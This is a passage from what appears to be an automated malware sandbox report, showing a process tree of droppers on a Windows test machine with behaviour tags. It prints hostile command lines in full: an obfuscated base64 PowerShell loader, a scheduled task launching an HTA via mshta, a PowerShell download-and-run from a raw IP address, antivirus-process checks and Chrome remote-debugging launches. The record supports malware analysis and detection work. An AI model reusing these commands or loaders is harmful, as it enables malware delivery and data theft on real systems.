                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                                                  4⤵
                                                                  • Uses browser remote debugging
                                                                  • Enumerates system info in registry
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  • Suspicious use of FindShellTrayWindow
                                                                  PID:2964
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef5e29758,0x7fef5e29768,0x7fef5e29778
                                                                    5⤵
                                                                      PID:1716
                                                                    • C:\Windows\system32\ctfmon.exe
                                                                      ctfmon.exe
                                                                      5⤵
                                                                        PID:2872
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1176 --field-trial-handle=1288,i,10494485096505335972,17906463531273864964,131072 /prefetch:2
                                                                        5⤵
                                                                          PID:1332
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1520 --field-trial-handle=1288,i,10494485096505335972,17906463531273864964,131072 /prefetch:8
                                                                          5⤵
                                                                            PID:1728
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1612 --field-trial-handle=1288,i,10494485096505335972,17906463531273864964,131072 /prefetch:8
                                                                            5⤵
                                                                              PID:3064
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2180 --field-trial-handle=1288,i,10494485096505335972,17906463531273864964,131072 /prefetch:1
                                                                              5⤵
                                                                              • Uses browser remote debugging
                                                                              PID:2100
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2680 --field-trial-handle=1288,i,10494485096505335972,17906463531273864964,131072 /prefetch:1
                                                                              5⤵
                                                                              • Uses browser remote debugging
                                                                              PID:1724
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2780 --field-trial-handle=1288,i,10494485096505335972,17906463531273864964,131072 /prefetch:1
                                                                              5⤵
                                                                              • Uses browser remote debugging
                                                                              PID:2176
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1480 --field-trial-handle=1288,i,10494485096505335972,17906463531273864964,131072 /prefetch:2
                                                                              5⤵
                                                                                PID:2492
                                                                          • C:\Users\Admin\AppData\Local\Temp\10383860101\73c9cc2643.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\10383860101\73c9cc2643.exe"
                                                                            3⤵
                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                            • Checks BIOS information in registry
                                                                            • Executes dropped EXE
                                                                            • Identifies Wine through registry keys
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                            • Suspicious use of SetThreadContext
                                                                            • System Location Discovery: System Language Discovery
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:2512
                                                                            • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\10383860101\73c9cc2643.exe"
                                                                              4⤵
                                                                              • Downloads MZ/PE file
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:2752
                                                                          • C:\Users\Admin\AppData\Local\Temp\10383870101\b501ae6cb8.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\10383870101\b501ae6cb8.exe"
                                                                            3⤵
                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                            • Checks BIOS information in registry
                                                                            • Executes dropped EXE
                                                                            • Identifies Wine through registry keys
                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                            • Suspicious use of SetThreadContext
                                                                            • System Location Discovery: System Language Discovery
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:824
                                                                            • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\10383870101\b501ae6cb8.exe"
                                                                              4⤵
                                                                              • Downloads MZ/PE file
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:2588
                                                                          • C:\Users\Admin\AppData\Local\Temp\10383880101\7d5a3ad817.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\10383880101\7d5a3ad817.exe"
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            PID:2868
                                                                            • C:\Windows\system32\WerFault.exe
                                                                              C:\Windows\system32\WerFault.exe -u -p 2868 -s 64
                                                                              4⤵
                                                                                PID:2064
                                                                            • C:\Users\Admin\AppData\Local\Temp\10383890101\afde59e31f.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\10383890101\afde59e31f.exe"
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:2896
                                                                            • C:\Users\Admin\AppData\Local\Temp\10383910101\aezyEBW.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\10383910101\aezyEBW.exe"
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              PID:2496
                                                                              • C:\Windows\system32\WerFault.exe
                                                                                C:\Windows\system32\WerFault.exe -u -p 2496 -s 44
                                                                                4⤵
                                                                                  PID:332
                                                                              • C:\Users\Admin\AppData\Local\Temp\10383920101\h2kC2YI.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\10383920101\h2kC2YI.exe"
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                PID:1788
                                                                                • C:\Windows\system32\WerFault.exe
                                                                                  C:\Windows\system32\WerFault.exe -u -p 1788 -s 44
                                                                                  4⤵
                                                                                    PID:2264
                                                                                • C:\Users\Admin\AppData\Local\Temp\10383930101\c4dc0a2462.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\10383930101\c4dc0a2462.exe"
                                                                                  3⤵
                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                  • Checks BIOS information in registry
                                                                                  • Executes dropped EXE
                                                                                  • Identifies Wine through registry keys
                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:760
                                                                                • C:\Users\Admin\AppData\Local\Temp\10383940101\EPTwCQd.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\10383940101\EPTwCQd.exe"
                                                                                  3⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:2188
                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                    C:\Windows\system32\WerFault.exe -u -p 2188 -s 28
                                                                                    4⤵
                                                                                      PID:904
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10383950101\3657cab28f.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10383950101\3657cab28f.exe"
                                                                                    3⤵
                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                    • Checks BIOS information in registry
                                                                                    • Executes dropped EXE
                                                                                    • Identifies Wine through registry keys
                                                                                    • Writes to the Master Boot Record (MBR)
                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:2412
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10383960101\u75a1_003.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10383960101\u75a1_003.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:1652
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10383970101\7IIl2eE.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10383970101\7IIl2eE.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    • Drops file in Windows directory
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:800
                                                                                    • C:\Windows\SysWOW64\CMD.exe
                                                                                      "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
                                                                                      4⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:884
                                                                                      • C:\Windows\SysWOW64\tasklist.exe
                                                                                        tasklist
                                                                                        5⤵
                                                                                        • Enumerates processes with tasklist
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1980
                                                                                      • C:\Windows\SysWOW64\findstr.exe
                                                                                        findstr /I "opssvc wrsa"
                                                                                        5⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1392
                                                                                      • C:\Windows\SysWOW64\tasklist.exe
                                                                                        tasklist
                                                                                        5⤵
                                                                                        • Enumerates processes with tasklist
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1028
                                                                                      • C:\Windows\SysWOW64\findstr.exe
                                                                                        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                                                                                        5⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:2940
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        cmd /c md 418377
                                                                                        5⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1868
                                                                                      • C:\Windows\SysWOW64\extrac32.exe
                                                                                        extrac32 /Y /E Leon.cab
                                                                                        5⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:2780
                                                                                      • C:\Windows\SysWOW64\findstr.exe
                                                                                        findstr /V "BEVERAGES" Compilation
                                                                                        5⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:800
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
                                                                                        5⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:2192
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
                                                                                        5⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:2332
                                                                                      • C:\Users\Admin\AppData\Local\Temp\418377\Passwords.com
                                                                                        Passwords.com N
                                                                                        5⤵
                                                                                        • Executes dropped EXE
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                        • Suspicious use of SendNotifyMessage
                                                                                        PID:2868
                                                                                      • C:\Windows\SysWOW64\choice.exe
                                                                                        choice /d y /t 5
                                                                                        5⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:2296
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10383980101\TbV75ZR.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10383980101\TbV75ZR.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:2684
                                                                                    • C:\Windows\system32\WerFault.exe
                                                                                      C:\Windows\system32\WerFault.exe -u -p 2684 -s 44
                                                                                      4⤵
                                                                                        PID:1988
                                                                                    • C:\Users\Admin\AppData\Local\Temp\10383990101\Rm3cVPI.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\10383990101\Rm3cVPI.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:2672
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10384001121\5YB5L4K.cmd"
                                                                                      3⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1732
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10384001121\5YB5L4K.cmd"
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1524
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
                                                                                          5⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:2944
                                                                                    • C:\Users\Admin\AppData\Local\Temp\10384010101\SPOKz5U.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\10384010101\SPOKz5U.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:332
                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                        C:\Windows\system32\WerFault.exe -u -p 332 -s 44
                                                                                        4⤵
                                                                                          PID:3012
                                                                                      • C:\Users\Admin\AppData\Local\Temp\10384020101\JfwxLrZ.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\10384020101\JfwxLrZ.exe"
                                                                                        3⤵
                                                                                          PID:1620
                                                                                        • C:\Users\Admin\AppData\Local\Temp\10384030101\727a5fc4ac.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\10384030101\727a5fc4ac.exe"
                                                                                          3⤵
                                                                                            PID:2300
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c schtasks /create /tn 3wf17mayRRD /tr "mshta C:\Users\Admin\AppData\Local\Temp\CadZmddhR.hta" /sc minute /mo 25 /ru "Admin" /f
                                                                                              4⤵
                                                                                                PID:2552
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  schtasks /create /tn 3wf17mayRRD /tr "mshta C:\Users\Admin\AppData\Local\Temp\CadZmddhR.hta" /sc minute /mo 25 /ru "Admin" /f
                                                                                                  5⤵
                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                  PID:2008
                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                mshta C:\Users\Admin\AppData\Local\Temp\CadZmddhR.hta
                                                                                                4⤵
                                                                                                  PID:1980
                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'HUVOTEXDPYWVTJNIOCWS6OJ8MCXVPSU3.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    PID:984
                                                                                                    • C:\Users\Admin\AppData\Local\TempHUVOTEXDPYWVTJNIOCWS6OJ8MCXVPSU3.EXE
                                                                                                      "C:\Users\Admin\AppData\Local\TempHUVOTEXDPYWVTJNIOCWS6OJ8MCXVPSU3.EXE"
                                                                                                      6⤵
                                                                                                        PID:788
                                                                                                • C:\Users\Admin\AppData\Local\Temp\10384040101\2678169e82.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10384040101\2678169e82.exe"
                                                                                                  3⤵
                                                                                                    PID:1744
                                                                                              • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                                                                                1⤵
                                                                                                  PID:1868
                                                                                                • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                                                                                  1⤵
                                                                                                    PID:828
                                                                                                  • C:\Windows\system32\DllHost.exe
